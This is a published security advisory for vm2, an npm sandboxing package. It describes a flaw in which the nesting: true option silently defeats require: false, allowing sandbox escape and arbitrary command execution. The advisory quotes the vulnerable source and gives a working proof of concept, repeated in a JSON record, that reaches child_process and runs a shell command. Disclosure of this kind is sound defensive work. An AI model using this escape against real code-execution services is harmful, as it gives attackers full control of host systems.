GHSA-8HG8-63C5-GWMX

Vulnerability from github – Published: 2026-05-07 05:13 – Updated: 2026-05-14 20:37
VLAI?
Summary
vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution
Details

Summary

When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.

Details

The vulnerability is in how the nesting: true option interacts with the legacy module resolver.

lib/nodevm.js:96-99NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:

const NESTING_OVERRIDE = Object.freeze({
  __proto__: null,
  vm2: vm2NestingLoader
});

lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:

const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
  requireOpts,
  nesting && NESTING_OVERRIDE,  // ← injected when nesting:true
  this._compiler
);

lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:

function makeResolverFromLegacyOptions(options, override, compiler) {
  if (!options) {
    if (!override) return DENY_RESOLVER;  // require:false, no nesting → deny all
    // BUG: require:false + nesting:true reaches here
    // override (NESTING_OVERRIDE) is applied, making vm2 available
    const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable
  }
  // ...
}

lib/builtin.js:102-106NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:

if (overrides) {
  const keys = Object.getOwnPropertyNames(overrides);
  for (const key of keys) {
    res.set(key, overrides[key]);  // vm2 always injected when nesting:true
  }
}

The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.

This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.

PoC

Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).

const { NodeVM } = require('vm2');

// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });

const result = vm.run(`
  // Step 1: require('vm2') succeeds despite require:false on the outer VM
  const { NodeVM: NVM } = require('vm2');

  // Step 2: create an inner NodeVM with attacker-chosen require config
  // This inner VM has no relation to the outer VM's restrictions
  const inner = new NVM({ require: { builtin: ['child_process'] } });

  // Step 3: execute arbitrary OS command in the inner VM
  module.exports = inner.run(
    'module.exports = require("child_process").execSync("id").toString()'
  );
`);

console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...

Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):

uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)

The variant with require: false also works — the outer VM's require setting has no effect:

new NodeVM({ nesting: true, require: false }).run(`
  const { NodeVM: NVM } = require('vm2');
  module.exports = new NVM({ require: { builtin: ['child_process'] } })
    .run('module.exports = require("child_process").execSync("id").toString()');
`);
// uid=1000(akshat) ...

Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.

Impact

Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.

What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.

Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.

Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T05:13:21Z",
    "nvd_published_at": "2026-05-13T18:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require(\u0027vm2\u0027)` regardless of the outer VM\u0027s `require` configuration \u2014 including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\n\n### Details\n\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\n\n**`lib/nodevm.js:96-99`** \u2014 `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\n\n```js\nconst NESTING_OVERRIDE = Object.freeze({\n  __proto__: null,\n  vm2: vm2NestingLoader\n});\n```\n\n**`lib/nodevm.js:268-269`** \u2014 When `nesting: true`, this override is passed into the resolver factory alongside the host\u0027s `require` options:\n\n```js\nconst customResolver = requireOpts instanceof Resolver;\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\n  requireOpts,\n  nesting \u0026\u0026 NESTING_OVERRIDE,  // \u2190 injected when nesting:true\n  this._compiler\n);\n```\n\n**`lib/resolver-compat.js:193-197`** \u2014 This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\n\n```js\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\n  if (!options) {\n    if (!override) return DENY_RESOLVER;  // require:false, no nesting \u2192 deny all\n    // BUG: require:false + nesting:true reaches here\n    // override (NESTING_OVERRIDE) is applied, making vm2 available\n    const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\n    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable\n  }\n  // ...\n}\n```\n\n**`lib/builtin.js:102-106`** \u2014 `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\n\n```js\nif (overrides) {\n  const keys = Object.getOwnPropertyNames(overrides);\n  for (const key of keys) {\n    res.set(key, overrides[key]);  // vm2 always injected when nesting:true\n  }\n}\n```\n\nThe result: `require(\u0027vm2\u0027)` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses \u2014 unconstrained by the outer VM \u2014 and reaches `child_process`.\n\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\n\n### PoC\n\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\n\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// Host intends: nesting enabled, but require completely disabled\nconst vm = new NodeVM({ nesting: true, require: false });\n\nconst result = vm.run(`\n  // Step 1: require(\u0027vm2\u0027) succeeds despite require:false on the outer VM\n  const { NodeVM: NVM } = require(\u0027vm2\u0027);\n\n  // Step 2: create an inner NodeVM with attacker-chosen require config\n  // This inner VM has no relation to the outer VM\u0027s restrictions\n  const inner = new NVM({ require: { builtin: [\u0027child_process\u0027] } });\n\n  // Step 3: execute arbitrary OS command in the inner VM\n  module.exports = inner.run(\n    \u0027module.exports = require(\"child_process\").execSync(\"id\").toString()\u0027\n  );\n`);\n\nconsole.log(result);\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\n```\n\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\n```\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\n```\n\nThe variant with `require: false` also works \u2014 the outer VM\u0027s require setting has no effect:\n\n```js\nnew NodeVM({ nesting: true, require: false }).run(`\n  const { NodeVM: NVM } = require(\u0027vm2\u0027);\n  module.exports = new NVM({ require: { builtin: [\u0027child_process\u0027] } })\n    .run(\u0027module.exports = require(\"child_process\").execSync(\"id\").toString()\u0027);\n`);\n// uid=1000(akshat) ...\n```\n\nNarrow builtin allowlists are also bypassed. `require: { builtin: [\u0027path\u0027] }` still allows `require(\u0027vm2\u0027)` when nesting is enabled.\n\n### Impact\n\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\n\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\n\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not \u2014 `require: false` is silently overridden and the sandbox has unrestricted OS access.\n\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.",
  "id": "GHSA-8hg8-63c5-gwmx",
  "modified": "2026-05-14T20:37:04Z",
  "published": "2026-05-07T05:13:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44007"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/05/11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…